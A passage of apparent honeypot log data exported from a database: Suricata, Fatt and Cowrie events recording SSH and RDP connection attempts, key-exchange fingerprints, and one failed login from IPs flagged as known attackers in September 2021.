.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1....none....none..................."}}	1	\N	\N	alert	known attacker	\N
27286	116.98.160.162	109.199.241.180	Suricata	2021-09-20 14:14:04.143063+03	2021-09-20 14:15:14.378689+03	{"_id": "AwbpAnwBvYTbRNuEuSeV", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "116.98.160.162", "dest_ip": "192.168.20.116", "flow_id": 1522421705976603, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 35424, "dest_port": 22, "timestamp": "2021-09-20T11:14:04.143063Z", "@timestamp": "2021-09-20T11:14:04.143Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
27287	116.98.160.162	109.199.241.180	Fatt	2021-09-20 14:14:03.688615+03	2021-09-20 14:15:14.379674+03	{"_id": "BQbpAnwBvYTbRNuEuifL", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "src_ip": "116.98.160.162", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 59488, "dest_port": 22, "timestamp": "2021-09-20T11:14:03.688615", "@timestamp": "2021-09-20T11:14:03.688Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	\N
27288	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:14:03.398345+03	2021-09-20 14:15:14.381648+03	{"_id": "BgbpAnwBvYTbRNuEuifL", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "116.98.160.162", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 59488, "timestamp": "2021-09-20T11:14:03.398345", "@timestamp": "2021-09-20T11:14:03.398Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
27289	116.98.160.162	109.199.241.180	Fatt	2021-09-20 14:14:04.143581+03	2021-09-20 14:15:14.382645+03	{"_id": "BwbpAnwBvYTbRNuEuifL", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "src_ip": "116.98.160.162", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 35424, "dest_port": 22, "timestamp": "2021-09-20T11:14:04.143581", "@timestamp": "2021-09-20T11:14:04.143Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	\N
27290	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:14:03.845953+03	2021-09-20 14:15:14.383674+03	{"_id": "CQbpAnwBvYTbRNuEuyeG", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 116.98.160.162:35424 (192.168.176.2:22) [session: eb50fe4306f2]", "session": "eb50fe4306f2", "@version": "1", "protocol": "ssh", "src_port": 35424, "dest_port": 22, "timestamp": "2021-09-20T11:14:03.845953Z", "@timestamp": "2021-09-20T11:14:03.845Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
27292	178.128.20.19	109.199.241.180	Cowrie	2021-09-20 14:14:05.041711+03	2021-09-20 14:15:14.386646+03	{"_id": "EQbpAnwBvYTbRNuEvydv", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "178.128.20.19", "asn": 1241, "as_org": "Forthnet", "latitude": 1.314, "location": {"lat": 1.314, "lon": 103.6839}, "timezone": "Asia/Singapore", "longitude": 103.6839, "postal_code": "62", "country_name": "Singapore", "country_code2": "SG", "country_code3": "SG", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "178.128.20.19", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "03109d0ba139", "@version": "1", "duration": 2.1510002613067627, "timestamp": "2021-09-20T11:14:05.041711Z", "@timestamp": "2021-09-20T11:14:05.041Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
27293	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:14:06.557331+03	2021-09-20 14:15:14.388647+03	{"_id": "EwbpAnwBvYTbRNuEwydY", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "eb50fe4306f2", "@version": "1", "duration": 2.7086668014526367, "timestamp": "2021-09-20T11:14:06.557331Z", "@timestamp": "2021-09-20T11:14:06.557Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
27294	61.133.192.126	109.199.241.180	Suricata	2021-09-20 14:13:56.697598+03	2021-09-20 14:15:14.389646+03	{"_id": "qAbpAnwBvYTbRNuEniY5", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:13:56.364468+0000", "pkts_toclient": 1, "pkts_toserver": 3, "bytes_toclient": 66, "bytes_toserver": 223}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 9, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY RDP connection request", "signature_id": 2001329}, "geoip": {"ip": "61.133.192.126", "asn": 4134, "as_org": "Chinanet", "latitude": 38.4681, "location": {"lat": 38.4681, "lon": 106.2731}, "timezone": "Asia/Shanghai", "longitude": 106.2731, "region_code": "NX", "region_name": "Ningxia Hui Autonomous Region", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "61.133.192.126", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 534882022625204, "payload": "AwAAKybgAAAAAABDb29raWU6IG1zdHNoYXNoPWhlbGxvDQoBAAgAAwAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["ms.rdp.established"]}, "src_port": 54585, "dest_port": 3389, "timestamp": "2021-09-20T11:13:56.697598Z", "@timestamp": "2021-09-20T11:13:56.697Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "...+&......Cookie: mstshash=hello\\r\\n........"}}	1	\N	\N	alert	\N	\N
27295	61.133.192.126	109.199.241.180	Suricata	2021-09-20 14:13:57.042193+03	2021-09-20 14:15:14.390646+03	{"_id": "qQbpAnwBvYTbRNuEniY5", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:13:56.364468+0000", "pkts_toclient": 3, "pkts_toserver": 4, "bytes_toclient": 193, "bytes_toserver": 283}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 14, "action": "allowed", "cve_id": "CVE-2001-0540", "category": "Generic Protocol Command Decode", "metadata": {"created_at": ["2010_09_23"], "updated_at": ["2010_09_23"]}, "severity": 3, "signature": "GPL POLICY MS Remote Desktop Request RDP", "signature_id": 2101447}, "geoip": {"ip": "61.133.192.126", "asn": 4134, "as_org": "Chinanet", "latitude": 38.4681, "location": {"lat": 38.4681, "lon": 106.2731}, "timezone": "Asia/Shanghai", "longitude": 106.2731, "region_code": "NX", "region_name": "Ningxia Hui Autonomous Region", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "61.133.192.126", "stream": 1, "dest_ip": "192.168.20.116", "flow_id": 534882022625204, "payload": "AwAAKybgAAAAAABDb29raWU6IG1zdHNoYXNoPWhlbGxvDQoBAAgAAwAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["ms.rdp.established"]}, "src_port": 54585, "dest_port": 3389, "timestamp": "2021-09-20T11:13:57.042193Z", "@timestamp": "2021-09-20T11:13:57.042Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "...+&......Cookie: mstshash=hello\\r\\n........"}}	1	\N	\N	alert	\N	\N
27296	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:13:57.289425+03	2021-09-20 14:15:14.391646+03	{"_id": "swbpAnwBvYTbRNuEoCYn", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 115.72.130.93:52372 (192.168.176.2:22) [session: 4e8db495af9f]", "session": "4e8db495af9f", "@version": "1", "protocol": "ssh", "src_port": 52372, "dest_port": 22, "timestamp": "2021-09-20T11:13:57.289425Z", "@timestamp": "2021-09-20T11:13:57.289Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
27297	176.60.208.43	109.199.241.180	Fatt	2021-09-20 14:13:59.266164+03	2021-09-20 14:15:14.393645+03	{"_id": "uwbpAnwBvYTbRNuEpyY_", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "176.60.208.43", "asn": 25106, "as_org": "Mobile TeleSystems JLLC", "latitude": 53.0, "location": {"lat": 53.0, "lon": 28.0}, "timezone": "Europe/Minsk", "longitude": 28.0, "country_name": "Belarus", "country_code2": "BY", "country_code3": "BY", "continent_code": "EU"}, "ip_rep": "known attacker", "src_ip": "176.60.208.43", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss", "hassh": "f555226df1963d1d3c09daf865abdc9a", "ccacts": "none", "ccastc": "none", "ceacts": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "ceastc": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "client": "SSH-2.0-libssh_0.9.6", "cmacts": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "cmastc": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}, "protocol": "ssh", "src_port": 33406, "dest_port": 22, "timestamp": "2021-09-20T11:13:59.266164", "@timestamp": "2021-09-20T11:13:59.266Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	\N
27298	176.60.208.43	109.199.241.180	Cowrie	2021-09-20 14:13:59.210725+03	2021-09-20 14:15:14.395644+03	{"_id": "vAbpAnwBvYTbRNuEpyb5", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "176.60.208.43", "asn": 25106, "as_org": "Mobile TeleSystems JLLC", "latitude": 53.0, "location": {"lat": 53.0, "lon": 28.0}, "timezone": "Europe/Minsk", "longitude": 28.0, "country_name": "Belarus", "country_code2": "BY", "country_code3": "BY", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "176.60.208.43", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 176.60.208.43:33406 (192.168.176.2:22) [session: d8b9d1a833b5]", "session": "d8b9d1a833b5", "@version": "1", "protocol": "ssh", "src_port": 33406, "dest_port": 22, "timestamp": "2021-09-20T11:13:59.210725Z", "@timestamp": "2021-09-20T11:13:59.210Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
27299	176.60.208.43	109.199.241.180	Cowrie	2021-09-20 14:13:59.58027+03	2021-09-20 14:15:14.396644+03	{"_id": "vQbpAnwBvYTbRNuEpyb5", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "176.60.208.43", "asn": 25106, "as_org": "Mobile TeleSystems JLLC", "latitude": 53.0, "location": {"lat": 53.0, "lon": 28.0}, "timezone": "Europe/Minsk", "longitude": 28.0, "country_name": "Belarus", "country_code2": "BY", "country_code3": "BY", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "176.60.208.43", "eventid": "cowrie.login.failed", "message": "login attempt [nexus/suxen] failed", "session": "d8b9d1a833b5", "@version": "1", "password": "suxen", "username": "nexus", "timestamp": "2021-09-20T11:13:59.580270Z", "@timestamp": "2021-09-20T11:13:59.580Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
